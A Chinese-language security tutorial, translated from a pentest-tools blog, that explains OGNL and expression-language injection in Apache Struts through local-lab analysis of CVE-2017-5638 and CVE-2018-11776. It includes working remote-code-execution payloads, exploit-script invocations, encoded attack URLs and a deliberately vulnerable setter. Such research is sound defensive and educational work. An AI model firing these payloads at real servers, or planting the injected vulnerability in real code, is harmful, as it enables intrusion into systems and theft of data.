实例讲解Apache Struts框架OGNL注入漏洞

secM  1866天前

在本文中,我们将为读者详细介绍ApacheStruts框架中的OGNL注入漏洞的相关原理。为了便于读者进行理解,我们将通过Struts中的两个高危漏洞为例进行演示,这两个漏洞分别是CVE-2017-5638CVE-2018-11776

ApacheStruts是一个免费的开源框架,用于创建优雅的现代Java Web应用程序。跟许多框架一样,这个框架也有一些严重的安全缺陷,其中包括OGNL-ob ject-Graph Navigation Language,它是许多漏洞的核心。

其中一个漏洞(CVE-2017-5638)导致了2017年的Equifax入侵事件,致使超过1.45亿美国公民的个人信息被泄露。谁能想到,一家年营收超过30亿美元的公司,竟然被ApacheStruts Model-View-Controller(MVC)框架中的一个已知漏洞攻陷了。

在本文中,我们首先对ApacheStruts进行了简单的介绍,然后,讲解如何对应用程序进行修改,并描述了OGNL的正常用法以及利用方法。接下来,我们将深入研究针对该平台的攻击方法,并通过OGNL注入漏洞来加深读者对此类漏洞的认识。

对于Java开发人员来说,通常都对Apache Struts框架比较熟悉,但是,在安全社区中,情况恰恰相反——这就是写作本文的原因。

简介

 为了运行易受攻击的Struts应用程序,需要先行安装Apache Tomcat Web服务器。为此,可以从这里下载ZIP格式的最新安装包。然后,将二进制文件提取到您指定的目录下(例如,/var/tomcat),然后执行:

cd /var/tomcat/bin # Go to the extractedfolder

chmod +x *.sh      # Set sc ripts as executable

./startup.sh       # Run the startup sc ript

 然后,导航至http://localhost:8080/,检查它是否正常运行。

如果一切正常的话,继续下载一个版本较旧的Apache Struts框架,因为这些版本更容易受到我们要演示的漏洞的攻击,比如,可以从这里下载的2.3.30版本的Struts

下载该软件之后,将其解压,这时,可以在/apps目录下面看到一个struts2-showcase.war 文件,这是一个编译好的、准备好部署使用Struts的演示应用程序。然后,将这个WAR文件复制到/var/tomcat/webapps,并转到http://localhost:8080/struts2-exhibition/showcase,检测其是否工作正常。

Web服务器基础知识

对于熟悉Java Web应用程序相关知识(比如servlet)的读者,可以跳过这一部分内容。如果您对Java Servlet一无所知,只需把它看成一个组件即可,其作用是为Web服务器上的Web应用程序创建Web容器;同时,它们还能用来处理对/struts2-showcaseJava应用程序的请求。

为了处理servletWeb服务器(例如Apache Tomcat)需要用到一些组件:

  • Apache Coyote是一个连接器,支持HTTP/1.1协议。通过它,可以与Servlet容器组件Apache Catalina进行通信。
  • Apache Catalina是一个容器,用于确定Tomcat接收HTTP请求时需要调用哪些servlet。此外,它还能将HTTP请求和响应从文本格式转换为servlet所使用的Java对象。

 1.png

您可以从这里找到关于Java Servlet规范的所有细节(最新版本为4.0)。

Apache Struts基础知识

Java Web应用程序类似,使用Apache Struts框架的应用程序可以支持多个servlet。当然,对于这个构建Web应用程序的框架的全面介绍已经超出了本文的范围,所以,这里只会大体介绍其基本概念。对这方面的知识感兴趣的读者,可以参阅这里

Apache Struts框架是基于MVC模型-视图-控制器)架构模式的。它对应用程序来说非常有用,因为可以将应用程序的主要组件隔离开来:

  •     模型——处理应用程序的数据,例如处理“订单”等数据的类
  •     视图——处理应用程序的输出,可视部分
  •     控制器——接收用户输入,通过模型生成视图
  •     动作(Action)——Apache Struts中的模型
  •     拦截器——控制器的一部分,它们是可以在处理请求前后调用的钩子
  •     值栈/OGNL——一组对象,例如ModelAction对象
  •     结果/结果类型——用于规定执行业务逻辑后选择哪些视图
  •     视图技术——处理数据的显示方式

 Apache Struts Web应用程序的一般体系结构如下所示:

 33.png

控制器接收HTTP请求,FilterDispatcher负责根据请求调用正确的动作。然后执行该动作,视图组件准备结果,并通过HTTP响应将其发送给用户。

Struts应用程序示例

由于从头开始编写Struts应用程序比较费时,所以,这里将使用一个已经写好的演示应用程序,它是一个带有基本前端的简单REST API。要编译应用程序,我们只需要进入相应目录,然后使用Maven完成构建即可:

cd struts-2.3.30/src/apps/rest-showcase/

mvn package

target目录中,我们可以找到struts2-rest-showcase.war文件。之后,我们可以将它复制到Tomcat服务器的webapps目录,例如/var/tomcat/webapps,然后就可以安装了。

下面是该应用程序的源代码:

 1.png

以下是相关文件的说明:

  • 其中,Order.java是模型,即一个存储订单信息的Java类。

   public class Order {

    String id;

    String clientName;

    int amount;

    …

    }

   OrdersService.java是一个助手类,用于将订单存储到HashMap中,并负责对其进行相应的管理。

 

   public class OrdersService {

    private static Map<String,Order> orders = new HashMap<String,Order>();

    …

    }

 

  • IndexController.javaOrderController.javaStruts应用程序的控制器或动作。
  • 我们还可以看到代表视图的多个JSP文件。
  • 以及web.xm lstruts.xm l之类的配置文件。

服务器端模板与注入

JSP通过将静态HTML与在服务器上执行的动态代码相混合来生成动态HTML代码。与PHP类似,它也可以混合使用JavaHTML代码。例如:

        <li><p><b>First Name:</b>

           <%=request.getParameter("first_name")%>

        </p></li>

        <li><p><b>Last Name:</b>

           <%= request.getParameter("last_name")%>

        </p></li>

 

如上所示,我们可以将请求对象与HTML代码一起使用,并调用getParameter函数,该函数将返回参数first_namelast_name的值。

需要注意的是,一定要遵循MVC设计模式,并避免将视图(JSP)和模型/控制器(Java)搞成一锅粥,有可能的话,可以在JSP文件中使用表达式语言。这是一种特殊的编程语言,能够让视图与Java应用程序相互通信:

<jsp:text>

  Box Perimeter is: ${2*box.width + 2*box.height}

</jsp:text>

 

该功能也称为服务器端模板,因为它允许在服务器上创建HTML模板,以实现HTMLJava代码组合的轻松管理。实际上,我们可以使用多种服务器端模板引擎,例如FreeMarkerVelocityThymeleaf

这样,我们不仅可以在后端使用Java,同时,还可以通过模板引擎使用一些特殊的编程语言,这就为服务器端模板注入漏洞奠定了基础。

与其他漏洞一样,当模板引擎解析或解释用户提供的数据时,有时会出现问题。为了提高实用性,这些模版引擎通常会提供大量的功能,因此,模板引擎通常包括调用函数的方法,这就为执行操作系统命令敞开了大门。

下面,我们以FreeMarker模板引擎为例进行演示:

<head>

<title>${title}</title>

</head>

<#if animals.python.price == 0>

Pythons are free today!

</#if>

在上面的代码中,只要条件满足,则会动态生成相应的标题和消息。

利用这一点,攻击者可以打印动态内容,而这些内容则有可能是敏感信息,如应用程序配置数据。此外,如果模板引擎允许,攻击者还可以执行操作系统命令。下面我们以FreeMarker为例进行演示:

<#assignex="freemarker.template.utility.Execute"?new()> ${ex("id") }

表达式语言注入漏洞

 表达式语言通常用于创建服务器端模板,因此,它也可以被视为服务器端模板引擎。但是,鉴于它也用于其他目的,因此,其中的漏洞并非严格意义上的注入类型。下面,我们给出一些例子

${customer.address["street"]}

${mySuit == "hearts"}

${customer.age + 20}

#{customer.age}

${requestScope[’javax.servlet.forward.servlet_path’]}

 用户也能执行自己提供的表达式语言代码,因此,应用程序可能容易受到表达式语言注入的攻击。如这篇文章所介绍的那样,由于使用了 ${EL} 语法,所以,很容易找到表达式语言的各种安全缺陷。例如,一个简单的数学运算,例如${9999+1}计算结果为10000,这在响应中是可见的。

如果这些对攻击者来说作用不大的话,他们还可以使用表达式语言的默认范围来检索实用信息,例如${applicationScope}${requestScope}

进一步说,表达式语言注入可以用来修改会话对象,并将用户的权限提升到admin级别:

${pageContext.request.getSession().setAttribute("admin",true)}

最后,甚至可以使用以下代码执行远程代码:

${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass("Malicious").newInstance()}

 通过拒绝用户向表达式语言解析函数提供输入、保证使用最新版本的依赖库,甚至条件允许的情况下对对用户输入中的#{${序列进行正确的处理,就可以防止此类漏洞。

对象图导航语言注入

 对象图导航语言(ob ject-GraphNavigation LanguageOGNL)是一种面向Java的开源表达式语言。OGNL主要功能是读取和设置对象属性:“使用Java语言可以做到事情,大部分也可以通过OGNL语言来完成。”

比如,如果我们按照下面的方式来处理订单,

public class Order {

String id;

String clientName;

int amount;

… }

则可以在JSP文件中直接访问订单的属性,如下所示:

<!DOCTYPE html>

<%@taglib prefix="s"uri="/struts-tags" %>

...

<s:form method="post"action=`**`%{#request.contextPath}/orders/%{id}`**`cssClass="form-horizontal" theme="simple">

<s:hidden name="_method" value="put"/>`

 

ID

`<s:textfield id=`**`"id"`**`name="id" disabled="true"cssClass="form-control"/>`

 

Client

`<s:textfieldid=`**`"clientName"`**` name="clientName"cssClass="form-control"/>`

 

Amount

`<s:textfieldid=`**`"amount"`**` name="amount" cssClass="form-control"/>

<s:submit cssClass="btnbtn-primary"/>

</s:form>

 我们可以使用%{code}${code}序列来计算OGNL表达式。正如其文档所述,OGNL允许:

  • 访问属性,如name或者headline.text
  • 调用ToCharArray()等方法
  • 访问数组元素,如listeners[0]
  • 甚至将它们组合在一起:name.toCharArray()[0].NumericValue.toString()

 此外,我们还可以使用变量(#var=99)、创建数组(new int[]{123})或映射(#@java.util.LinkedHashMap@{foo:foo value”、“bar:bar value}),甚至访问静态字段(@class@field,或调用静态方法:@class@method(args))

 虽然OGNL是一种功能强大的语言,但是,在Apache Struts中,将用户提供的输入视为OGNL可能会带来安全隐患。让我们举一个简单的例子,在rest-showcase应用程序中引入一个漏洞。

 对于所有Order属性,我们都提供了相应的gettersetter方法,例如:

public String getClientName() {

return clientName;

}

public void setClientName(StringclientName) {

this.clientName = clientName;

}

 通过导入三个额外的包并调用TextParseUtil.translateVariables方法,就可以修改setter,从而使其易受OGNL注入攻击。在我们的示例中,修改的部分会检查clientName参数中的值。

importcom.opensymphony.xwork2.ActionContext;

importcom.opensymphony.xwork2.util.TextParseUtil;

importcom.opensymphony.xwork2.util.reflection.ReflectionContextState;

 

public void setClientName(StringclientName) {

ReflectionContextState.`**`setDenyMethodExecution`**`(ActionContext.getContext().getContextMap(),false);`

 

`this.clientName =`**`TextParseUtil.translateVariables`**`(clientName, ActionContext.getContext().getValueStack());

translateVariables方法将执行至以下代码:

TextParser parser =((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);

return `**parser.evaluate**`(openChars,ex pression, ognlEval, maxLoopCount);

这样就会计算OGNL表达式(OgnlTextParser.java)。

接下来,我们可以重新编译应用程序,启动后,就可以尝试利用clientName参数中的漏洞了。在这里,最简单的测试方法就是使用简单的数学运算,例如%{999 + 1}

 1.png

修改订单后,客户名称将被解析为OGNL,并通过成功执行数学运算来进行确认。

 1.png

既然我们知道参数是易受攻击的,当然可以在测试中使用它了。需要注意的一点是,在调用translateVariables函数之前,我们需要先调用setDenyMethodExecution。这是必要的,因为在设置参数值时,正如我们在这里所做的那样,作为一项保护措施,方法执行将被拒绝,因此,我们将无法执行任何方法。

如果在漏洞利用阶段遇到类似的漏洞,可以直接从payload中启用方法执行特性,然后,就可以调用任意方法了:

(#context['xwork.MethodAccessor.denyMethodExecution']=false)

在这里,要特别感谢mmolgtm指出这一点!

调试Java应用程序

IDE的内置调试器中运行Java应用程序,可以帮助我们加深对应用程序和漏洞的理解,因为它为理解漏洞利用工作原理提供了清晰的、循序渐进的视图。

调试易受攻击的应用程序带来的好处还有很多,例如能够在代码中随意设置断点,以及检查和修改各种变量。

使用旧的Java应用程序(如Struts 2.3.30)时,可能需要更改某些设置,以允许在调试器中编译和运行它们。以下是我们的一些建议:

  1.      转至Run > Debug >Edit Configuration
  2.      单击+,并选择Maven
  3.      通过选择Maven项目来指定工作目录,例如rest-showcase
  4.      指定以下命令行:jettyrun -f pom.xm lJettyWeb服务器)

现在,我们就可以轻松地在setClientName方法上设置断点了:将浏览器导航至http://127.0.0.1:8080/struts2-rest-showcase/orders.xhtml,为其中一个订单选择Edit选项,然后单击Submit开始编辑订单。这样就会触发对setClientName的调用,并命中断点。

 1.png

CVE-2017-5638成因分析

CVE-2017-5638Struts中最著名的一个漏洞,主要是因为它被用于Equifax数据泄露事件。实际上,安全社区已经对其进行了详细的研究,这里只是其中的两份研究报告

Exploit-DB提供了一个漏洞利用代码,我们可以下载并运行它:

 

python CVE-2017-5638.pyhttp://localhost:8080/struts2-showcase/showcase.action "touch/tmp/pwned"

[*] CVE: 2017-5638 - Apache Struts2 S2-045

[*] cmd: touch /tmp/pwned

这样,便会在“/tmp/pwned”目录中创建一个文件:

 1.png

CVE-2017-5638的问题在于,利用该漏洞时,框架和使用它的应用程序不需要做任何事情,这是最糟糕的一种情况。

调试器是了解漏洞成因的最快捷的方法。首先,在translateVariables方法上设置断点——利用该漏洞时会用到该方法,然后,运行漏洞利用代码。

python CVE-5638.pyhttp://127.0.0.1:8080/struts2-rest-showcase/ 'ls -la /'

这将提供完整的堆栈跟踪信息,包括所需的所有数据。结果如下所示:

 1.png

如果我们浏览一下堆栈,就能清楚地掌握正在发生的事情。

  1. 它使用doFilter()方法来处理请求,该方法将调用prepare.wrapRequest(request);方法
  2. WrapRequest会调用dispatcher.wrapRequest(request);
  3. 在这个方法中,我们可以找到一些有趣的东西:

String content_type =request.getContentType(); if (content_type != null &&content_type.contains("multipart/form-data")) { …

request = new MultiPartRequestWrapper(mpr,request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);`

} else {

request = new StrutsRequestWrapper(request,disableRequestAttributeValueStackLookup);

}

如果请求的Content-Type头部中包含字符串multipart/form-data,则框架将使用MultiPartRequestWrapper类。

  1.      接下来,解析该请求:multi.parse(request, saveDir);
  2.      这个方法将试图解析该请求,但发现Content-Type无效后会抛出异常:

if ((null == contentType) ||(!contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) { throw newInvalidContentTypeException( format("the request doesn't contain a %s or%s stream, content type header is %s", MULTIPART_FORM_DATA,MULTIPART_MIXED, contentType));
  •    该异常将导致调用buildErrorMessage,它会执行以下方法: LocalizedTextUtil.findText (this.getClass(),errorKey, defaultLocale, e.getMessage(), args); (其中e.getMessage()是包含漏洞利用代码的错误消息)
  •    这会导致调用返回findText(aClass, aTextName, locale, defaultMessage, args,valueStack);
  •    然后,调用result = getDefaultMessage(aTextName, locale, valueStack,args, defaultMessage);
  •    接下来,将引发一个处理该异常的调用:MessageFormat mf =buildMessageFormat(TextParseUtil.translateVariables(message, valueStack),locale);
  •    然后,调用处理异常的“translateVariables”方法:该请求不包含multipart/form-datamultipart/mixed流,内容类型头部为%{(#_=multipart/form-data).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)

实际上,利用该漏洞的总体思路很简单:利用带有OGNL表达式的无效内容类型头部来触发CVE-2017-5638漏洞。由于某种原因,这个带有OGNL表达式的异常消息会被解析。

CVE-2018-11776成因分析

要利用该漏洞,我们需要Struts2.5.16,读者可以从这里下载。根据这里的两篇文章的介绍,攻击者在自定义配置情况下,我们可以成功地利用该漏洞:

  • 切换到Struts-2.5.16目录:CD Struts-2.5.16/
  • 并搜索struts-actionchaining.xm l文件:find . -name struts-actionchaining.xm l
  • 编辑xm l文件,如./src/apps/showcase/src/main/resources/struts-actionchaining.xm l
  • 然后,修改<struts>标记,将其值改为:

 

<struts>

         <packagename="actionchaining" extends="struts-default">

         <actionname="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">

                  <resulttype="redirectAction">

                          <paramname = "actionName">register2</param>

                  </result>

         </action>

         </package>

</struts>

这允许我们将struts2-showcase应用程序作为目标。然后,进行编译:

   1.cd src/apps/showcase/ # Go to Showcase directory

   2.mvn package -DskipTests=true # Compile it (and skip tests)

   3.cp target/struts2-showcase.war /var/tomcat/webapps/ # Copy to Tomcat

现在,我们可以通过在Web浏览器中加载以下内容来检查该应用程序是否易受攻击:

http://127.0.0.1:8080/struts2-showcase/**${22+22}**/actionChain1.action

如果可利用的话,我们将被重定向到http://127.0.0.1:8080/struts2-showcase/44/register2

这里提供了一个包含大量技术实现细节的漏洞利用代码。为了利用该漏洞,我们需要使用C编写的漏洞利用程序

我们需要通过URL发送两个请求,其中存放经过编码的payload

1. ${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}

 

2. ${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#context.setMemberAccess(#dm)).(#sl=@java.io.File@separator).(#p=newjava.lang.ProcessBuilder({'bash','-c',**'xcalc'**})).(#p.start())}

 然后,会看到:

  1. http://127.0.0.1:8080/struts2-showcase/%24%7B%28%23%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23context%3D%23.getContext%28%29%29.%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.setExcludedClasses%28%27%27%29%29.%28%23ognlUtil.setExcludedPackageNames%28%27%27%29%29%7D/actionChain1.action

  2. http://127.0.0.1:8080/struts2-showcase/%24%7B%28%23%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23context%3D%23.getContext%28%29%29.%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23context.setMemberAccess%28%23dm%29%29.%28%23sl%3D%40java.io.File%40separator%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%7B%27bash%27%2C%27-c%27%2C%27xcalc%27%7D%29%29.%28%23p.start%28%29%29%7D/actionChain1.action

如果一切正常,应该会弹出计算器:

 1.png

通过调试器考察有效载荷有助于了解其工作原理。请注意,/struts2-showcase/${2+4}/actionChain1.actionStruts中称为命名空间,actionChain1是动作。

  • 调用execute(ActionInvocationinvocation)方法具有以下效果:

if (namespace == null) {

         namespace= invocation.getProxy().getNamespace(); // namespace is “/${2+4}”

}

String tmpLocation =actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace,method, null));

setLocation(tmpLocation); // tmpLocation is“/${2+4}/register2.action”

super.execute(invocation);

  1. execute方法也会调用super.execute(invocation);
  2. 然后,调用下面的方法:

/**

Implementation of the `execute` method fromthe `Result` interface. This will call the abstract method

{@link #doExecute(String,ActionInvocation)} after optionally evaluating the location as an OGNLevaluation

/*

 

public void execute(ActionInvocationinvocation) throws Exception {

         lastFinalLocation= conditionalParse(location, invocation);

         doExecute(lastFinalLocation,invocation);

}

  • conditionalParse方法将解析OGNL表达式的参数:

/**

Parses the parameter for OGNL ex pressionsagainst the valuestack

*/

 

protected String conditionalParse(Stringparam, ActionInvocation invocation) {

         if(parse && param != null && invocation != null) {

                  returnTextParseUtil.translateVariables(

                          param,

                          invocation.getStack(),

                          new EncodingParsedValueEvaluator());

CVE-2017-5638 和 CVE-2018-11776 payloads:

(#_='multipart/form-data').

(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).

(#context['xwork.MethodAccessor.denyMethodExecution']=false).

(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

(#ognlUtil.getExcludedPackageNames().clear()).

(#ognlUtil.getExcludedClasses().clear()).

(#context.setMemberAccess(#dm)))).

(#cmd='/usr/bin/touch/tmp/pwned').(#iswin=@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).

(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).

(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).

(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).

(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())

 1. #_=’multipart/form-data’ ——一个随机变量,这是必须的,因为在我们的payload中,需要通过multipart/form-data字符串才能触发该漏洞

 2.#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS – create the dm variablewith the value of DefaultMemberAccess (more permissive thanSecurityMemberAccess)

 3.#_memberAccess?(#_memberAccess=#dm)——如果_memberAccess类已经存在,我们将其替换为dm变量中的DefaultMemberAccess

 4.#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]——从上下文中获取容器,供后面使用

 5.#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)——使用它来获取OgnlUtil类的实例(我们无法直接执行它,因为它已经列入黑名单——完整列表位于./src/core/src/main/resources/struts-default.xm l

  6.#ognlUtil.getExcludedPackageNames().clear()——清除排除在外的包名称

  7.#ognlUtil.getExcludedClasses().clear() ——清除排除在外的类

  8.#context.setMemberAccess(#dm) ——将DefaultMemberAccess设置为当前上下文

  9.#cmd=’/usr/bin/touch /tmp/pwned’——定义要执行的命令

  10.#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))——如果该应用程序在Windows上运行,则保存在变量中(跨平台漏洞利用代码)

  11.#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})——指定如何根据操作系统来执行命令(cmd.exebash

  12.#p=new java.lang.ProcessBuilder(#cmds) ——使用ProcessBuilder类运行命令(参数)

  13.#p.redirectErrorStream(true)——查看命令的错误输出可能也很有帮助

  14.#process=#p.start() ——执行命令

  15.#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())——获取响应的输出流以将数据发送回用户

  16.@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros) ——获取已执行命令的输出

  17.#ros.flush() ——进行刷新,以确保发送所有数据


利用CVE-2018-11776时,稍有不同之处:

   1.#_=#attr[‘struts.valueStack’]——使用attr获取ValueStack

   2.#context=#_.getContext() ——后面将用于获取上下文

   3.#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]——获取容器

   4.#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)——获取OgnlUtil类的引用

   5.#ognlUtil.setExcludedClasses(‘’)——清除排除在外的类

   6.#ognlUtil.setExcludedPackageNames(‘’) ——清除被排除在外的包的名称

   7.#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS——将变量dm,其值为DefaultMemberAccess

   8.#context.setMemberAccess(#dm)——设置DefaultMemberAccess,而非SecurityMemberAccess

   9.#sl=@java.io.File@separator ——尚未使用

   10.#p=new java.lang.ProcessBuilder({‘bash’,’-c’,’xcalc’}) ——使用命令(xcalc)来声明ProcessBuilder

   11.#p.start()——执行命令

 

结束语

尽管Apache Struts是一个广为人知且应用广泛的框架,但由于缺乏广泛的安全研究,它仍然很容易成为攻击目标。有关该主题的最有用的研究知识,请访问LGTM的博客。

OGNL注入漏洞影响Apache Struts的多个版本,是研究如何滥用代码中现有功能来实现远程执行代码的一个很好的范例。

进行攻击测试的时候,刚开始可能看起来举步维艰,但实际上并非如此,调试器总能为我们提供很大的帮助。精通Java语言对安全研究人员来说难度很大,但这最终将成为一个优势。

在展开一项新研究的过程中,耐心是最有价值的一种品质。我们的忠告是,当事情变得困难时,不要忘了苦中作乐。并且,不要忘了向别人请求帮助——安全社区很友好,也乐于施以援手。


原文地址:https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/#getting-started

最新评论

昵称
邮箱
提交评论